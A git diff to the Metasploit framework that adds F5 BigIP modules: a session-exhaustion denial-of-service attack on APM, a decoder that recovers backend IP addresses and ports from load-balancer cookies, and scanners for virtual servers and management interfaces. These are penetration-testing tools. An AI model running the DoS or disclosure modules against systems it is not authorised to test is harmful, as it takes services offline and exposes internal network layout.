diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb new file mode 100644 index 0000000000..e935e91cc2 --- /dev/null +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -0,0 +1,101 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service', + 'Description' => %q{ + This module exploits a resource exhaustion denial of service in F5 BigIP devices. An + unauthenticated attacker can establish multiple connections with BigIP Access Policy + Manager (APM) and exhaust all available sessions defined in customer license. In the + first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP + system creates a session, marks it as pending and then redirects the client to an access + policy URI. Since BigIP allocates a new session after the first unauthenticated request, + and deletes the session only if an access policy timeout expires, the attacker can exhaust + all available sessions by repeatedly sending the initial HTTP request and leaving the + sessions as pending. + }, + 'Author' => + [ + 'Denis Kolegov ', + 'Oleg Broslavsky ', + 'Nikita Oleksov ' + ], + 'References' => + [ + ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html'] + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + 'SSLVersion' => 'TLS1', + 'RPORT' => 443 + } + )) + + register_options( + [ + OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]), + OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false]) + ], self.class) + end + + def run + limit = datastore['RLIMIT'] + force_attack = datastore['FORCE'] + + res = send_request_cgi('method' => 'GET', 'uri' => '/') + + unless res + print_error("#{peer} - No answer from the BigIP server") + return + end + + # Simple test based on HTTP Server header to detect BigIP virtual server + server = res.headers['Server'] + unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack + print_error("#{peer} - BigIP virtual server was not detected. Please check options") + return + end + + print_status("#{peer} - Starting DoS attack") + + # Start attack + limit.times do |step| + if step % 100 == 0 + print_status("#{peer} - #{step * 100 / limit}% accomplished...") + end + res = send_request_cgi('method' => 'GET', 'uri' => '/') + if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/ + print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.") + return + end + end + + # Check if attack has failed + res = send_request_cgi('method' => 'GET', 'uri' => uri) + if res.headers['Location'] =~ /\/my.policy/ + print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT") + else + print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") + end + + rescue ::Errno::ECONNRESET + print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") + rescue ::Rex::ConnectionRefused + print_error("#{peer} - Unable to connect to BigIP") + rescue ::Rex::ConnectionTimeout + print_error("#{peer} - Unable to connect to BigIP. Please check options") + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") + end +end diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 5888a134e7..dd4bc8e7b6 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -30,125 +29,131 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'], ['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726'] ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSLVersion' => 'TLS1' + } )) register_options( [ + OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]), + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), OptString.new('TARGETURI', [true, 'The URI path to test', '/']), - OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10]) + OptInt.new('REQUESTS', [true, 'The number of requests to send', 10]) ], self.class) end - def change_endianness(value, size=4) + def change_endianness(value, size = 4) conversion = nil - if size == 4 conversion = [value].pack("V").unpack("N").first elsif size == 2 conversion = [value].pack("v").unpack("n").first end - conversion end def cookie_decode(cookie_value) - if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ - host = $1.to_i - port = $2.to_i + backend = {} + case + when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ + host = Regexp.last_match(1).to_i + port = Regexp.last_match(2).to_i host = change_endianness(host) host = Rex::Socket.addr_itoa(host) port = change_endianness(port, 2) - elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i + when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i host = Rex::Socket.addr_itoa(host) - elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i - host = Rex::Socket.addr_itoa(host, v6=true) + when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i + host = Rex::Socket.addr_itoa(host, true) port = change_endianness(port, 2) - elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i - host = Rex::Socket.addr_itoa(host, v6=true) - elsif cookie_value =~ /!.{104}/ + when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i + host = Rex::Socket.addr_itoa(host, true) + else host = nil port = nil end - host.nil? ? nil : "#{host}:#{port}" + + backend[:host] = host.nil? ? nil : host + backend[:port] = port.nil? ? nil : port + backend end def get_cookie # request a page and extract a F5 looking cookie. cookie = {} - res = send_request_raw({ - 'method' => 'GET', - 'uri' => @uri - }) + res = send_request_raw({ 'method' => 'GET', 'uri' => @uri }) unless res.nil? # Get the SLB session IDs for all cases: # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000", # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80", # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480", - # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80", - # 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc" - - m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/) - cookie[:id] = m.nil? ? nil : m[1] - cookie[:value] = m.nil? ? nil : m[2] - end + # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80" + regexp = / + ([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)| + (rd\d+o0{20}f{4}\w+o\d{1,5})| + (vi([a-f0-9]{32})\.(\d{1,5}))| + (rd\d+o([a-f0-9]{32})o(\d{1,5}))) + (?:$|,|;|\s) + /x + m = res.get_cookies.match(regexp) + cookie[:id] = (m.nil?) ? nil : m[1] + cookie[:value] = (m.nil?) ? nil : m[2] + end cookie end def run - unless datastore['REQUESTS'] > 0 - print_error("Please, configure more than 0 REQUESTS") - return - end - - back_ends = [] + requests = datastore['REQUESTS'] + backends = [] @uri = normalize_uri(target_uri.path.to_s) print_status("#{peer} - Starting request #{@uri}") - for i in 0...datastore['REQUESTS'] - cookie = get_cookie() # Get the cookie + (1..requests).each do |i| + cookie = get_cookie # Get the cookie # If the cookie is not found, stop process if cookie.empty? || cookie[:id].nil? print_error("#{peer} - F5 BigIP load balancing cookie not found") - break + return end # Print the cookie name on the first request - if i == 0 - print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") + if i == 1 + print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") if cookie[:id].start_with?('BIGipServer') - print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") + print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") end if cookie[:value].start_with?('rd') - print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") - end - if cookie[:value].start_with?('!') - print_status("#{peer} - F5 BigIP cookie is probably encrypted") + print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") end end - back_end = cookie_decode(cookie[:value]) - unless back_end.nil? || back_ends.include?(back_end) - print_status("#{peer} - Backend #{back_end} found") - back_ends.push(back_end) + backend = cookie_decode(cookie[:value]) + unless backend[:host].nil? || backends.include?(backend) + print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found") + backends.push(backend) end end # Reporting found backends in database - unless back_ends.empty? - report_note( - :host => rhost, - :type => "f5_load_balancer_backends", - :data => back_ends - ) + unless backends.empty? + report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends) end + rescue ::Rex::ConnectionRefused + print_error("#{peer} - Network connection error") + rescue ::Rex::ConnectionError + print_error("#{peer} - Network connection error") + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") end end diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb new file mode 100644 index 0000000000..dade96bb4f --- /dev/null +++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 BigIP HTTP Virtual Server Scanner', + 'Description' => %q{ + This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses + different HTTP profiles for managing HTTP traffic and these profiles allow to customize + the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending + on the BigIP system version. + }, + 'Author' => + [ + 'Denis Kolegov ', + 'Oleg Broslavsky ', + 'Nikita Oleksov ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'], + ] + )) + + register_options( + [ + OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']), + OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]), + ], self.class) + + deregister_options('RPORT') + end + + def bigip_http?(ip, port, ssl) + begin + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/', + 'rport' => port, + 'SSL' => ssl, + }, + datastore['TIMEOUT']) + return false unless res + server = res.headers['Server'] + return true if server =~ /BIG\-IP/ || server =~ /BigIP/ + rescue ::Rex::ConnectionRefused + vprint_error("#{ip}:#{port} - Connection refused") + rescue ::Rex::ConnectionError + vprint_error("#{ip}:#{port} - Connection error") + rescue ::OpenSSL::SSL::SSLError + vprint_error("#{ip}:#{port} - SSL/TLS connection error") + end + + false + end + + def run_host(ip) + ports = Rex::Socket.portspec_crack(datastore['PORTS']) + + if ports.empty? + print_error('PORTS options is invalid') + return + end + + ports.each do |port| + + unless port == 443 # Skip http check for 443 + if bigip_http?(ip, port, false) + print_good("#{ip}:#{port} - BigIP HTTP virtual server found") + next + end + end + + unless port == 80 # Skip https check for 80 + if bigip_http?(ip, port, true) + print_good("#{ip}:#{port} - BigIP HTTPS virtual server found") + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb new file mode 100644 index 0000000000..402c7dbdde --- /dev/null +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -0,0 +1,95 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 Networks Devices Management Interface Scanner', + 'Description' => %q{ + This module scans for web management interfaces of the following F5 Networks devices: + BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Denis Kolegov ', + 'Oleg Broslavsky ', + 'Nikita Oleksov ' + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'SSLVersion' => 'TLS1', + 'RPORT' => 443 + } + )) + + register_options( + [ + OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]) + ], self.class) + end + + def port_open? + begin + res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT']) + return true if res + rescue ::Rex::ConnectionRefused + vprint_status("#{peer} - Connection refused") + return false + rescue ::Rex::ConnectionError + vprint_error("#{peer} - Connection failed") + return false + rescue ::OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL/TLS connection error") + return false + end + end + + def run_host(ip) + return unless port_open? + + res = send_request_raw('method' => 'GET', 'uri' => '/') + if res && res.code == 200 + + # Detect BigIP management interface + if res.body =~ /BIG\-IP/ + print_good("#{peer} - F5 BigIP web management interface found") + return + end + + # Detect EM management interface + if res.body =~ /<title>Enterprise Manager/ + print_good("#{peer} - F5 Enterprise Manager web management interface found") + return + end + + # Detect ARX management interface + if res.body =~ /<title>F5 ARX Manager Login<\/title>/ + print_good("#{peer} - ARX web management interface found") + return + end + end + + # Detect BigIQ management interface + res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/') + if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/ + print_good("#{peer} - F5 BigIQ web management interface found") + return + end + + # Detect FirePass management interface + res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) + if res && res.code == 200 && res.body =~ /<br><br><br><big><b> FirePass/ + print_good("#{peer} - F5 FirePass web management interface found") + return + end + end +end